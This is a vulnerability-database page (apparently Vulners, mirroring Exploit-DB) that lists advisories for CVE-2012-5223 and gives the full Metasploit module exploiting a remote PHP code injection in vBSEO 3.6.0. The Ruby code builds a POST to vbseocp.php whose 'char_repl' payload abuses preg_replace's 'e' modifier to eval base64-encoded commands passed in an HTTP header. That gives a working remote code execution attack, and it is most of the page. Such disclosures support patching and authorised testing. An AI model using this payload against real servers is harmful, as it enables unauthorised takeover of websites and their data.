Lucene search
+L

vBSEO 3.6.0 - 'proc_deutf()' Remote PHP Code Injection (Metasploit)

🗓️ 27 Jan 2012 00:00:00Reported by EgiXType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 29 Views

vBSEO 3.6.0 Remote PHP Code Injection via 'proc_deutf()' functio

Related
Code
ReporterTitlePublishedViews
Family
attackerkb
ATTACKERKB
CVE-2012-5223
1 Oct 201220:55
attackerkb
circl
Circl
CVE-2012-5223
27 Jan 201200:00
circl
checkpoint_advisories
Check Point Advisories
vBSEO Remote PHP Code Injection (CVE-2012-5223)
6 Jun 201300:00
checkpoint_advisories
cve
CVE
CVE-2012-5223
1 Oct 201220:00
cve
cvelist
Cvelist
CVE-2012-5223
1 Oct 201220:00
cvelist
dsquare
Dsquare
vBSEO 3.6.0 RCE
31 Jan 201200:00
dsquare
metasploit
Metasploit
vBSEO proc_deutf() Remote PHP Code Injection
30 Jan 201222:15
metasploit
nvd
NVD
CVE-2012-5223
1 Oct 201220:55
nvd
openvas
OpenVAS
vBSEO 'proc_deutf()' Remote Code Execution Vulnerability
31 Jan 201200:00
openvas
openvas
OpenVAS
vBSEO 'proc_deutf()' RCE Vulnerability - Active Check
31 Jan 201200:00
openvas
Rows per page
require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'vBSEO <= 3.6.0 "proc_deutf()" Remote PHP Code Injection',
			'Description'    => %q{
					This module exploits a vulnerability in the 'proc_deutf()' function
				defined in /includes/functions_vbseocp_abstract.php. User input passed through
				'char_repl' POST parameter isn't properly sanitized before being used in a call
				to preg_replace() function which uses the 'e' modifier. This can be exploited to
				inject and execute arbitrary code leveraging the PHP's complex curly syntax.
			},
			'Author'         => 'EgiX <n0b0d13s[at]gmail.com>', # originally reported by the vendor
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision$',
			'References'     =>
				[
					['BID', '51647'],
					['URL', 'http://www.vbseo.com/f5/vbseo-security-bulletin-all-supported-versions-patch-release-52783/'],
				],
			'Privileged'     => false,
			'Payload'        =>
				{
					'DisableNops' => true,
					'Space'       => 8190,
					'Keys'        => ['php'],
				},
			'Platform'       => ['php'],
			'Arch'           => ARCH_PHP,
			'Targets'        => [[ 'Automatic', { }]],
			'DisclosureDate' => 'Jan 23 2012',
			'DefaultTarget'  => 0))

			register_options(
				[
					OptString.new('URI', [true, "The full URI path to vBulletin", "/vb/"]),
				], self.class)
	end

	def check
		flag = rand_text_alpha(rand(10)+10)
		data = "char_repl='{${print(#{flag})}}'=>"

		uri = ''
		uri << datastore['URI']
		uri << '/' if uri[-1,1] != '/'
		uri << 'vbseocp.php'

		response = send_request_cgi({
			'method' => "POST",
			'uri' => uri,
			'data' => "#{data}"
		})

		if response.code == 200 and response.body =~ /#{flag}/
			return Exploit::CheckCode::Vulnerable
		end

		return Exploit::CheckCode::Safe
	end

	def exploit
		if datastore['CMD']
			p = "passthru(\"%s\");" % datastore['CMD']
			p = Rex::Text.encode_base64(p)
		else
			p = Rex::Text.encode_base64(payload.encoded)
		end

		data = "char_repl='{${eval(base64_decode($_SERVER[HTTP_CODE]))}}.{${die()}}'=>"

		uri = ''
		uri << datastore['URI']
		uri << '/' if uri[-1,1] != '/'
		uri << 'vbseocp.php'

		response = send_request_cgi({
			'method' => 'POST',
			'uri' => uri,
			'data' => data,
			'headers' => { 'Code' => p }
		})

		print_status("%s" % response.body) if datastore['CMD']
	end

end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

31 Jan 2012 00:00Current
5.2Medium risk
Vulners AI Score5.2
CVSS 27.5
EPSS0.40533
29